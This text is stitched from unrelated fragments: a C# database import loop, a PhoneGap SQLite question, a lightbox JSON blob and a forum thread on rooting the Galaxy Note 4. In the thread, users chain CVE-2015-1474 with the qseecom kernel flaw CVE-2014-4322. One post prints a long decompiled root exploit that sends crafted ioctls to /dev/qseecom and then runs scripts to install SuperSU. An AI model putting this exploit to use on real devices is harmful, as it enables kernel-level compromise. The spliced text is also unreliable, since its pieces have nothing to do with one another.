SqlCeUpdatableRecord record = rs.CreateRecord();
while (xmlTextReader.Read())
{
if (xmlTextReader.NodeType == XmlNodeType.Element &&
xmlTextReader.LocalName == "item" &&
xmlTextReader.IsStartElement() == true)
{
itemXmlDoc.LoadXml(xmlTextReader.ReadOuterXml());
values[0] = itemXmlDoc.SelectSingleNode("item/Index").InnerText; // 0
values[1] = itemXmlDoc.SelectSingleNode("item/Name").InnerText; // 1
~~~
values[13] = itemXmlDoc.SelectSingleNode("item/Notes").InnerText; // 13
record.SetValue(index, values[index++] == "NULL" ? null : values[index - 1]); // 0
record.SetValue(index, values[index++] == "NULL" ? null : values[index - 1]); // 1
~~~
record.SetValue(index, values[index++] == "NULL" ? null : values[index - 1]); // 13
rs.Insert(resord);
}
}
}
}
}
Hi all,
I'm stuck with my first Android App and I really hope you can help me out. I've build a simple app with a SQL database, based on the documentation on docs.phonegap.
I've created this script:
HTML:
<script type="text/javascript" charset="utf-8">
// Wait for device API libraries to load
//
document.addEventListener("deviceready", onDeviceReady, false);
// Populate the database
//
function populateDB(tx) {
tx.executeSql('DROP TABLE IF EXISTS DEMO');
tx.executeSql('CREATE TABLE IF NOT EXISTS DEMO (id unique, date, naam, description, image)');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (1, "2014-04-23", "Jacques Villeneuve", "Canadees autocoureur","test.jpg")');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (2, "1954-09-04","Dennis Quaid", "Amerikaans acteur","test.JPEG")');
tx.executeSql('INSERT INTO DEMO (id, date, naam, description, image) VALUES (3, "1933-09-04","Jean-Paul Belmondo", "Frans acteur","test.jpg")');
}
// Query the database
//
function queryDB(tx) {
// Datum van vandaag
var today = new Date();
var dd = today.getDate();
var mm = today.getMonth()+1; //January is 0!
var yyyy = today.getFullYear();
today = yyyy+'-'+mm+'-'+dd;
alert (today);
tx.executeSql('SELECT * FROM DEMO WHERE date = "2014-04-23" ORDER BY DATE ', [], querySuccess, errorCB);
}
// Query the success callback
//
function querySuccess(tx, results) {
var len = results.rows.length;
console.log("DEMO table: " + len + " rows found.");
for (var i=0; i<len; i++){
console.log("Row = " + i + " ID = " + results.rows.item(i).id + " Data = " + results.rows.item(i).date + " Naam: " + results.rows.item(i).naam);
}
}
// Transaction error callback
//
function errorCB(err) {
console.log("Error processing SQL: "+err.code);
}
// Transaction success callback
//
function successCB() {
var db = window.openDatabase("Database", "1.0", "Cordova Demo", 200000);
db.transaction(queryDB, errorCB);
}
// device APIs are available
//
function onDeviceReady() {
var db = window.openDatabase("Database", "1.0", "Cordova Demo", 200000);
db.transaction(populateDB, errorCB, successCB);
}
</script>
And I get the information in a div:
HTML:
<script>
function querySuccess(tx, results) {
var len = results.rows.length;
console.log("DEMO table: " + len + " rows found.");
for (var i=0; i<len; i++){
var div = document.getElementById("textDiv");
div.innerHTML = div.innerHTML
+ "<div>"
+" " + results.rows.item(i).date +" "
+"<h1>" + results.rows.item(i).naam +"</h1>"
+" " + results.rows.item(i).description +" "
+"<img src=\"" + results.rows.item(i).image + "\">"
+ "</div>";
}
}
</script>
When I test it in Chrome Ripple, I see the information from the database perfectly! Only when I check it in Dreamweaver, I don't see the information. Also when I build the app with Dreamweaver Phonegap build and emulate it, it doesn't work either. This is probably a beginner question but I really need some help right now!!!
Thank so much for your help!
Kind regards,
Mark
WelcomeFirst I have to ask that everyone please follow the rules when posting in here.The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.
.
Working on PoC here:
https://github.com/p1gl3t/CVE-2015-1474_poc
Other Threads working on 2015-1474
http://forum.xda-developers.com/kin...luating-cve-2015-1474-to-escalate-to-t3045163
android-DEP said:
@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.
Click to expand...
Click to collapse
To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!
Click to expand...
Click to collapse
From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.
jorgasm209 said:
Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.
Click to expand...
Click to collapse
It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
zxz0O0 said:
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
Click to expand...
Click to collapse
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
munjeni said:
Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171
If you have idea for how I can change app_id than I will get it working and will share source with you!
This is decompiled source from guy who have it working and don't want to share them:
Code:
void sub_89F4(void) {
;
}
int __fastcall sub_8A78(signed int a1, int a2)
{
signed int v2; // [email protected]
FILE *v3; // [email protected]
void *v4; // [email protected]
signed int v5; // [email protected]
FILE *v6; // [email protected]
int v7; // [email protected]
char v8; // [email protected]
const char *v9; // [email protected]
_UNKNOWN *v10; // [email protected]
_UNKNOWN *v11; // [email protected]
char **v12; // [email protected]
const char *v13; // [email protected]
int result; // [email protected]
int ion_fd; // [email protected]
int v16; // [email protected]
int v17; // [email protected]
int *v18; // [email protected]
char *v19; // [email protected]
int v20; // [email protected]
int qseecom_fd; // [email protected]
int v22; // [email protected]
int v23; // [email protected]
int v24; // [email protected]
int *v25; // [email protected]
char *v26; // [email protected]
int *v27; // [email protected]
int v28; // [email protected]
int v29; // [email protected]
int v30; // [email protected]
int v31; // [email protected]
int v32; // [email protected]
int v33; // [email protected]
int v34; // [email protected]
int v35; // [email protected]
int *v36; // [email protected]
int v37; // [email protected]
int v38; // [email protected]
int v39; // [email protected]
int v40; // [email protected]
int *v41; // [email protected]
int v42; // [email protected]
int v43; // [email protected]
void *v44; // [email protected]7
int v45; // [email protected]
int v46; // [email protected]
unsigned int v47; // [email protected]
int v48; // [email protected]
int v49; // [email protected]
int v50; // [email protected]
int *v51; // [email protected]
int ptmx_fd; // [email protected]
int v53; // [email protected]
int v54; // [email protected]
int v55; // [email protected]
int v56; // [email protected]
int *v57; // [email protected]
char *v58; // [email protected]
int v59; // [sp+Ch] [bp-1F4h]@1
int memfile_fd; // [sp+Ch] [bp-1F4h]@26
void *ion_void; // [sp+14h] [bp-1ECh]@26
int v62; // [sp+18h] [bp-1E8h]@24
int v63; // [sp+1Ch] [bp-1E4h]@38
int v64; // [sp+20h] [bp-1E0h]@38
int v65; // [sp+24h] [bp-1DCh]@38
int v66; // [sp+28h] [bp-1D8h]@38
int v67; // [sp+2Ch] [bp-1D4h]@22
int v68; // [sp+30h] [bp-1D0h]@22
int v69; // [sp+34h] [bp-1CCh]@22
int v70; // [sp+38h] [bp-1C8h]@22
int v71; // [sp+3Ch] [bp-1C4h]@24
unsigned int v72; // [sp+40h] [bp-1C0h]@41
int v73; // [sp+44h] [bp-1BCh]@41
int v74; // [sp+48h] [bp-1B8h]@41
int v75; // [sp+4Ch] [bp-1B4h]@41
int v76; // [sp+50h] [bp-1B0h]@41
unsigned int v77; // [sp+54h] [bp-1ACh]@41
int v78; // [sp+58h] [bp-1A8h]@41
int v79; // [sp+5Ch] [bp-1A4h]@41
int v80; // [sp+60h] [bp-1A0h]@41
int v81; // [sp+64h] [bp-19Ch]@41
int v82; // [sp+68h] [bp-198h]@41
int v83; // [sp+6Ch] [bp-194h]@41
char v84; // [sp+70h] [bp-190h]@4
char v85[4]; // [sp+90h] [bp-170h]@29
int v86; // [sp+94h] [bp-16Ch]@29
int v87; // [sp+98h] [bp-168h]@29
char v88; // [sp+9Ch] [bp-164h]@29
int v89; // [sp+A0h] [bp-160h]@30
int v90; // [sp+A4h] [bp-15Ch]@30
int v91; // [sp+A8h] [bp-158h]@30
int v92; // [sp+ACh] [bp-154h]@30
int v93; // [sp+B0h] [bp-150h]@30
int v94; // [sp+B4h] [bp-14Ch]@30
int v95; // [sp+B8h] [bp-148h]@30
int v96; // [sp+BCh] [bp-144h]@30
int v97; // [sp+C0h] [bp-140h]@30
int v98; // [sp+C4h] [bp-13Ch]@30
int v99; // [sp+C8h] [bp-138h]@30
int v100; // [sp+CCh] [bp-134h]@30
char v101; // [sp+D4h] [bp-12Ch]@1
int v102; // [sp+1D4h] [bp-2Ch]@1
char v103; // [sp+1D8h] [bp-28h]@4
v2 = a1;
v102 = _stack_chk_guard;
v59 = a2;
puts("giefroot (c) zxz0O0");
v3 = fopen("/proc/version", "r");
fread(&v101, 0x100u, 1u, v3);
fclose(v3);
v4 = malloc(0x100u);
v5 = 30;
v6 = fopen("/system/build.prop", "r");
do
{
while ( 1 )
{
fgets((char *)v4, 256, v6);
v7 = strncmp((const char *)v4, "ro.product.device=", 0x12u);
v8 = v7;
if ( !v7 )
break;
--v5;
if ( !v5 )
goto LABEL_5;
}
strcpy(&v84, (const char *)v4 + 18);
--v5;
*(&v103 + strlen(&v84) - 361) = v8;
}
while ( v5 );
LABEL_5:
fclose(v6);
free(v4);
v9 = supported_kernel[0];
if ( supported_kernel[0] )
{
v10 = &unk_D014;
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
do
{
if ( !strcmp(v9, &v101) && (!v12 || !strcmp((const char *)*((int *)v10 - 4), &v84)) )
{
v12 = &supported_kernel[5 * v5];
unk_D0A4 = &supported_kernel[5 * v5];
}
v13 = *(const char **)v10;
v10 = (char *)v10 + 20;
v9 = v13;
++v5;
}
while ( v13 );
}
else
{
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
}
if ( v12 )
{
v12 = (char **)1;
}
else
{
puts("Error: Kernel not supported");
printf("Device: %s, Kernel: %s\n", &v84, &v101);
*(int *)v11 = supported_kernel;
}
if ( v2 > 1 && !strcmp(*(const char **)(v59 + 4), "-s") )
{
result = (unsigned int)v12 ^ 1;
goto error;
}
ion_fd = open("/dev/ion", 0);
if ( ion_fd < 0 )
puts("Error opening ion device");
v67 = 256;
v68 = 4;
v69 = 134217728;
v70 = 1;
sub_89F4();
v16 = ioctl(ion_fd, ION_IOC_ALLOC, &v67);
if ( v16 )
{
v25 = (int *)((int (*)(void))_errno)();
v26 = strerror(*v25);
printf("Error ioctl: %d / %s\n", v16, v26);
}
else
{
sub_89F4();
}
v62 = v71;
v17 = ioctl(ion_fd, ION_IOC_SHARE, &v62);
if ( v17 )
{
v18 = (int *)((int (*)(void))_errno)();
v19 = strerror(*v18);
printf("Error ioctl: %d / %s\n", v17, v19);
}
else
{
sub_89F4();
}
sub_89F4();
ion_void = (void *)mmap(0, 256, 7, 1);
memset(ion_void, 255, 0x100u);
memfile_fd = open("/data/local/tmp/memfile", 2);
if ( memfile_fd < 0 )
sub_89F4();
v20 = mmap(0, 2113929216, 7, 1);
if ( v20 == -1 )
puts("mmap shared_buf failed");
qseecom_fd = open("/dev/qseecom", 0);
if ( qseccom_fd < 0 )
{
puts("Error opening qseecom");
getting_root:
close(memfile_fd);
close(ion_fd);
close(qseccom_fd);
puts("getting root...");
ptmx_fd = open("/dev/ptmx", 0);
fsync(ptmx_fd, v53);
v54 = close(ptmx_fd);
v55 = getuid(v54);
v56 = printf("getuid: %d\n", v55);
if ( getuid(v56) )
{
puts("Error getting root");
result = 1;
}
else
{
system("/data/local/tmp/systemrw.sh");
system("/data/local/tmp/installsupersu.sh");
result = 0;
}
goto error;
}
sub_89F4();
*(int *)v85 = 1769437812;
v86 = 1769366884;
v87 = 25966;
memset(&v88, 0, 0x14u);
while ( 1 )
{
while ( 1 )
{
v93 = *(int *)v85;
v94 = v86;
v95 = v87;
v96 = *(int *)&v88;
v97 = v89;
v98 = v90;
v99 = v91;
v100 = v92;
v22 = ioctl(qseecom_fd, QSEECOM_IOCTL_APP_LOADED_QUERY_REQ, &v93);
if ( v22 )
{
v27 = (int *)_errno(v22, v23, v24);
strerror(*v27);
sub_89F4();
goto obtain_qseecom_mem;
}
sub_89F4();
puts("query failed. trying another app...");
if ( strcmp(v85, "tzwidevine") )
break;
strcpy(v85, "keymaster");
}
if ( strcmp(v85, "keymaster") )
break;
strcpy(v85, "tzsuntory");
}
if ( !strcmp(v85, "tzsuntory") )
{
puts("Error querying app");
goto getting_root;
}
obtain_qseecom_mem:
v64 = v63;
v65 = v20;
v66 = 2113929216;
v28 = ioctl(qseecom_fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &v64);
v31 = v28;
if ( v28 )
{
v57 = (int *)_errno(v28, v29, v30);
v58 = strerror(*v57);
printf("Error ioctl QSEECOM_IOCTL_SET_MEM_PARAM_REQ: %d / %s\n", v31, v58);
}
else
{
sub_89F4();
}
munmap(v20, 2113929216);
v32 = mmap(v20, 4096, 7, 50);
if ( v32 == -1 )
puts("Error allocating shared buf again");
memset((void *)v32, 255, 0x1000u);
v77 = 0;
v79 = 0;
v78 = 0;
v81 = 0;
v80 = 0;
v83 = 0;
v82 = 0;
v73 = 2113921024;
v74 = v32 + 80;
v75 = 4096;
v76 = v63;
v72 = v32;
puts("getting ptr");
v33 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v33 )
{
v36 = (int *)_errno(v33, v34, v35);
strerror(*v36);
sub_89F4();
}
else
{
sub_89F4();
}
munmap(v32, 4096);
sub_89F4();
v37 = mmap(v20, 524288, 7, 49);
if ( v37 != -1 )
{
sub_89F4();
memset((void *)v37, 255, 0x80000u);
v72 = v32 + ((unsigned int)(v37 + 979369984) >> 1);
v77 = (unsigned int)(v37 + 979369984) >> 1;
puts("getting offset");
v38 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v38 )
{
v41 = (int *)_errno(v38, v39, v40);
strerror(*v41);
sub_89F4();
}
else
{
sub_89F4();
}
v42 = sub_8A00(v37, 524288);
munmap(v37, 524288);
v43 = mmap(*(int *)ion_void, 1024, 7, 49);
if ( v43 == -1 )
{
puts("Error: Could not allocate memory for exploit code");
}
else
{
v44 = (void *)v43;
sub_89F4();
memcpy(v44, sub_8994, 0x400u);
munmap(ion_void, 4096);
v45 = (int)((char *)v44 + 64);
do
{
while ( 1 )
{
v46 = *(int *)v44;
v44 = (char *)v44 + 4;
if ( v46 == -1091584273 )
break;
if ( v44 == (void *)v45 )
goto exploit_qseecom;
}
*((int *)v44 - 1) = sub_89A4;
}
while ( v44 != (void *)v45 );
exploit_qseecom:
v47 = v32 + ((unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1);
v77 = (unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1;
v72 = v47;
puts("exploiting");
v48 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v48 )
{
v51 = (int *)_errno(v48, v49, v50);
strerror(*v51);
sub_89F4();
}
else
{
sub_89F4();
}
}
goto getting_root;
}
puts("Error allocating testmem");
result = 1;
error:
if ( v102 != _stack_chk_guard )
_stack_chk_fail(result);
return result;
}
I am tried to construct but sorry I am not skilled in reverse enginering. If you understand than try to construct right function from that and share it here!
Click to expand...
Click to collapse
Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.
ZPaul2Fresh8 said:
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
Click to expand...
Click to collapse
Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.
Sent from my SAMSUNG-SM-N910A using Tapatalk
This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.
Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start
munjeni said:
I don't know, I stil receiving sms, only unable to get terminal emulator on button click
Click to expand...
Click to collapse
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
stvn1337 said:
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
Click to expand...
Click to collapse
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
munjeni said:
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
Click to expand...
Click to collapse
Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..
Sent from my SAMSUNG-SM-N910A using Tapatalk
Maxninja said:
I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.
Click to expand...
Click to collapse
Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.
windstrings said:
This brings the next question.. An educated guess as to whether this will work with lollipop?
Click to expand...
Click to collapse
I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.
So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...
https://www.codeaurora.org/projects...le-camera-drivers-cve-2014-4321-cve-2014-4324
Qcom camera FTW
Just a little further reading for some:
http://www.cvedetails.com/cve/CVE-2015-1474/
jcase said:
Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
Click to expand...
Click to collapse
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
jasonstackhouse said:
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
Click to expand...
Click to collapse
Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.
Misterxtc said:
If it helps any this is what the adb command returned on the VZW Note4 on NJ5.
View attachment 3172812
Click to expand...
Click to collapse
Same here, AT&T NIE
C:\Users\rac1\Desktop\ADB>adb shell grep -A 10 -B 10 camera /system/etc/permissi
ons/platform.xml
<permission name="android.permission.SYSTEM_GROUP_INTERNAL" >
<group gid="system" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="com.sec.android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.READ_EXTERNAL_STORAGE" >
<group gid="sdcard_r" />
</permission>
--
<group gid="graphics" />
</permission>
<!-- Except for SysScope, DO NOT USE this permission. -->
<permission name="com.sec.android.app.sysscope.permission.ACCESS_SYSTEM_INFO
_SYSSCOPE_ONLY" >
<group gid="radio" />
</permission>
<!-- Group that can use gscaler -->
<permission name="com.sec.android.permission.USE_CAMERA" >
<group gid="camera" />
</permission>
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- ================================================================== -->
<!-- The following tags are assigning high-level permissions to specific
user IDs. These are used to allow specific core system users to
perform the given operations with the higher-level framework. For
example, we give a wide variety of permissions to the shell user
OK let's not forget about cve-2015-1474. This is the vulnerability that's going to get us what we want. Let's not get sidetracked about another vulnerability that we may not even need.